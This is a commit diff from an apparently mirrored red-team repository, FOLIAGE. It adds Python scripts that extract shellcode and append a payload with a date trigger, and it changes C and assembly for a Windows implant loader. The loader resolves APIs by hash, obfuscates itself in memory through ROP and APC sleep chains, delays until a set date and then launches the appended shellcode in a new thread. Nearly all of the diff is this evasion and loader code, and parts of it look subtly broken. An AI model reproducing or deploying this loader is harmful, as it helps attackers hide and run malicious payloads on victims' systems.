admin/y11en-FOLIAGE
1
0
Fork 0
mirror of https://github.com/y11en/FOLIAGE synced 2026-06-08 18:27:53 +00:00
Code Issues Packages Projects Releases Wiki Activity

Updates

Browse Source
This commit is contained in:
Mumbai
2021-03-14 01:51:05 +00:00
parent 959721e8bc
commit bc490c0804
10 changed files with 206 additions and 18 deletions
Download Patch File Download Diff File Expand all files Collapse all files
scripts/foliage.py
+35
View File
@@ -0,0 +1,35 @@
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import pefile
import argparse
import struct
def main( f = None, o = None, s = None, m = None, y = None, d = None ):
try:
raw = open( f, 'rb+' ).read()
shc = open( s, 'rb+' ).read()
out = open( o, 'wb+' )
raw = raw.replace(b'\x41' * 4, struct.pack('<I', len(shc)));
raw = raw.replace(b'\x42' * 2, struct.pack('<H', m));
raw = raw.replace(b'\x43' * 2, struct.pack('<H', y));
raw = raw.replace(b'\x44' * 2, struct.pack('<H', d));
print('writing %i bytes to %s' % ( len( raw ), o ) );
out.write( raw + shc );
out.close( );
except Exception as e:
print("[error]: {}".format(e));
raise SystemExit
if __name__ in '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-f', help='Path to FOLIAGE bin', required=True);
parser.add_argument('-s', help='Path to shellcode bin', required=True);
parser.add_argument('-o', help='Path to output FOLIAGE bin', required=True);
parser.add_argument('-m', help='Month to trigger on', type=int, required=True);
parser.add_argument('-y', help='Year to trigger on', type=int, required=True);
parser.add_argument('-d', help='Day to trigger on', type=int, required=True);
args = parser.parse_args();
main(**vars(args));
scripts/hash_string.py
+20
View File
@@ -0,0 +1,20 @@
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import sys
def hash_string( string ):
try:
hash = 5381
for x in string.upper():
hash = (( hash << 5 ) + hash ) + ord(x)
return hash & 0xFFFFFFFF
except:
pass
if __name__ in '__main__':
try:
print('0x%x' % hash_string(sys.argv[1]));
except IndexError:
print('usage: %s [string]' % sys.argv[0]);
scripts/linker.ld
+10
View File
@@ -0,0 +1,10 @@
ENTRY( _BEG )
SECTIONS
{
.text ALIGN(1) : SUBALIGN(1)
{
*(.text._BEG)
*(.text.*)
}
}
scripts/pedump.py
+27
View File
@@ -0,0 +1,27 @@
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import pefile
import argparse
import struct
def main( f = None, o = None ):
try:
exe = pefile.PE( f );
raw = exe.sections[0].get_data();
end = raw.find(b'\xcc' * 4);
raw = raw[:end]
bin = open( o, 'wb+' );
bin.write( raw );
bin.close( );
except Exception as e:
print("[error]: {}".format(e));
raise SystemExit
if __name__ in '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-f', help='Path to EXE file.', required=True);
parser.add_argument('-o', help='Path to store code.', required=True);
args = parser.parse_args();
main(**vars(args));
source/asm/start.asm
+11 -4
View File
@@ -17,7 +17,9 @@ GLOBAL _BEG
GLOBAL _END
GLOBAL _GET_BEG
GLOBAL _GET_END
EXTERN Start
EXTERN Leave
[SECTION .text$A]
@@ -28,13 +30,19 @@ _BEG:
push rsi
mov rsi, rsp
and rsp, 0FFFFFFFFFFFFFFF0h
sub rsp, 32
sub rsp, 32
mov rcx, 0x41414141
call Start
sub rsp, 32
lea rcx, [rel _BEG]
lea rdx, [rel Leave]
sub rdx, rcx
call Leave
mov rsp, rsi
pop rsi
ret
;;
@@ -51,8 +59,7 @@ _GET_END:
lea rax, [rel _END]
ret
[SECTION .text$C]
[SECTION .text$D]
;;
;; end of shellcode
source/common.h
+8
View File
@@ -71,6 +71,14 @@ typedef struct
D_API( SetProcessValidCallTargets );
} kb;
struct
{
HANDLE Base;
D_API( LocalFileTimeToFileTime );
D_API( SystemTimeToFileTime );
} km;
PVOID Buffer;
ULONG Length;
ULONG Protection;
source/hashes.h
+4
View File
@@ -46,4 +46,8 @@
#define H_SETPROCESSVALIDCALLTARGETS 0x647d9236
#define H_KERNELBASE 0x03ebb38b
#define H_LOCALFILETIMETOFILETIME 0x75b9ce51
#define H_SYSTEMTIMETOFILETIME 0x61d8126b
#define H_KERNEL32 0x6ddb9555
#endif
source/leave.c
+26
View File
@@ -0,0 +1,26 @@
/*-
*
* dns over http(s) persistence stager.
* grabs a binary payload over a txt
* record before going back to sleep
* for a specified time.
*
* before going to sleep, it will try
* to obfuscate itself in memory and
* hide its return address.
*
* Copyright (c) 2021 Austin Hudson
* Copyright (c) 2021 GuidePoint Security LLC
*
-*/
#include "common.h"
D_SEC(C) VOID WINAPI Leave( PVOID Start, ULONG Length )
{
INSTANCE Ins;
Ins.nt.Base = PebGetModule( H_NTDLL );
Ins.nt.ExitThread = PeGetFuncEat( Ins.nt.Base, H_RTLEXITUSERTHREAD );
__builtin_memset( Start, '\x90', Length ); Ins.nt.ExitThread( 0 );
};
source/sleep.c
+11 -1
View File
@@ -214,6 +214,7 @@ D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTE
goto END_ROP_CHAIN;
};
#if defined( _WIN64 )
*ContextRopEnt = *ContextStolen;
ContextRopEnt->ContextFlags = CONTEXT_FULL;
ContextRopEnt->Rsp = U_PTR( ContextStolen->Rsp );
@@ -222,6 +223,15 @@ D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTE
ContextRopEnt->Rdx = U_PTR( FALSE );
ContextRopEnt->R8 = U_PTR( NULL );
*( ULONG_PTR * )( ContextRopEnt->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert;
#else
*ContextRopEnt = *ContextStolen;
ContextRopEnt->ContextFlags = CONTEXT_FULL;
ContextRopEnt->Esp = U_PTR( ContextStolen->Esp - 0x100 );
ContextRopEnt->Eip = U_PTR( Ins->nt.NtWaitForSingleObject );
*( ULONG_PTR * )( ContextRopEnt->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert;
// insert argument chain here
#endif
ContextStatus = Ins->nt.NtQueueApcThread(
ContextRopThd,
@@ -461,7 +471,7 @@ D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTE
ContextRopRes->Rcx = U_PTR( NtCurrentProcess() );
ContextRopRes->Rdx = U_PTR( &ContextResPtr );
ContextRopRes->R8 = U_PTR( &ContextResLen );
ContextRopRes->R9 = U_PTR( PAGE_EXECUTE_READ );
ContextRopRes->R9 = U_PTR( PAGE_EXECUTE_READWRITE );
*( ULONG_PTR *)( ContextRopRes->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert ;
*( ULONG_PTR *)( ContextRopRes->Rsp + 0x28 ) = ( ULONG_PTR ) &ContextResPrt;
source/start.c
+54 -13
View File
@@ -16,23 +16,25 @@
#include "common.h"
D_SEC(B) VOID WINAPI Start( VOID )
D_SEC(B) VOID WINAPI Start( ULONG Length )
{
HANDLE Thd;
HMODULE Mod;
CONTEXT Ctx;
INSTANCE Ins;
LARGE_INTEGER Del;
UCHAR Stk[0x100];
Ins.kb.Base = PebGetModule( H_KERNELBASE );
Ins.km.Base = PebGetModule( H_KERNEL32 );
Ins.nt.Base = PebGetModule( H_NTDLL );
Ins.Buffer = C_PTR( _GET_BEG() );
Ins.Length = U_PTR( _GET_END() ) - U_PTR( _GET_BEG() );
Ins.Length = U_PTR( _GET_END() ) - U_PTR( _GET_BEG() ) + Length;
if ( Ins.kb.Base ) {
Ins.kb.SetProcessValidCallTargets = PeGetFuncEat( Ins.kb.Base, H_SETPROCESSVALIDCALLTARGETS );
};
Ins.km.LocalFileTimeToFileTime = PeGetFuncEat( Ins.km.Base, H_LOCALFILETIMETOFILETIME );
Ins.km.SystemTimeToFileTime = PeGetFuncEat( Ins.km.Base, H_SYSTEMTIMETOFILETIME );
Ins.nt.NtSignalAndWaitForSingleObject = PeGetFuncEat( Ins.nt.Base, H_NTSIGNALANDWAITFORSINGLEOBJECT );
Ins.nt.NtQueryInformationProcess = PeGetFuncEat( Ins.nt.Base, H_NTQUERYINFORMATIONPROCESS );
Ins.nt.NtProtectVirtualMemory = PeGetFuncEat( Ins.nt.Base, H_NTPROTECTVIRTUALMEMORY );
@@ -56,15 +58,54 @@ D_SEC(B) VOID WINAPI Start( VOID )
Ins.nt.NtContinue = PeGetFuncEat( Ins.nt.Base, H_NTCONTINUE );
Ins.nt.ExitThread = PeGetFuncEat( Ins.nt.Base, H_EXITTHREAD );
Ins.nt.NtClose = PeGetFuncEat( Ins.nt.Base, H_NTCLOSE );
UCHAR FakeStk[0x100];
CONTEXT FakeCtx;
RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
RtlSecureZeroMemory( &Del, sizeof( Del ) );
RtlSecureZeroMemory( Stk, 0x100 );
RtlSecureZeroMemory( &FakeCtx, sizeof( FakeCtx ) );
RtlSecureZeroMemory( &FakeStk, 0x100 );
Ctx.ContextFlags = CONTEXT_FULL;
Ctx.Rsp = U_PTR( &Stk[0x100 - 1] );
Ctx.Rip = U_PTR( Ins.nt.RtlFreeHeap );
Del.QuadPart = -( 90000 * 10000 );
#if defined( _WIN64 )
FakeCtx.ContextFlags = CONTEXT_FULL;
FakeCtx.Rip = U_PTR( Ins.nt.RtlFreeHeap );
FakeCtx.Rsp = U_PTR( &FakeStk );
#else
FaleCtx.ContextFlags = CONTEXT_FULL;
FakeCtx.Eip = U_PTR( Ins.nt.RtlFreeHeap );
FakeCtx.Esp = U_PTR( &FakeStk );
#endif
ObfuscateSleep( &Ins, &Ctx, &Del );
FILETIME LocalTimeZon;
FILETIME LocalTimeUtc;
SYSTEMTIME LocalTimeSys;
LARGE_INTEGER LocalTimeOut;
RtlSecureZeroMemory( &LocalTimeZon, sizeof( LocalTimeZon ) );
RtlSecureZeroMemory( &LocalTimeUtc, sizeof( LocalTimeUtc ) );
RtlSecureZeroMemory( &LocalTimeSys, sizeof( LocalTimeSys ) );
RtlSecureZeroMemory( &LocalTimeOut, sizeof( LocalTimeOut ) );
LocalTimeSys.wMonth = 0x4242;
LocalTimeSys.wYear = 0x4343;
LocalTimeSys.wDay = 0x4444;
Ins.km.SystemTimeToFileTime( &LocalTimeSys, &LocalTimeZon );
Ins.km.LocalFileTimeToFileTime( &LocalTimeZon, &LocalTimeUtc );
LocalTimeOut.LowPart = LocalTimeUtc.dwLowDateTime;
LocalTimeOut.HighPart = LocalTimeUtc.dwHighDateTime;
ObfuscateSleep( &Ins, &FakeCtx, &LocalTimeOut );
Ins.nt.NtCreateThreadEx(
&Thd,
THREAD_ALL_ACCESS,
NULL,
NtCurrentProcess(),
C_PTR( _GET_END( ) ),
NULL,
FALSE,
0,
0xFFFFFF,
0xFFFFFF,
NULL
); Ins.nt.NtClose( Thd );
};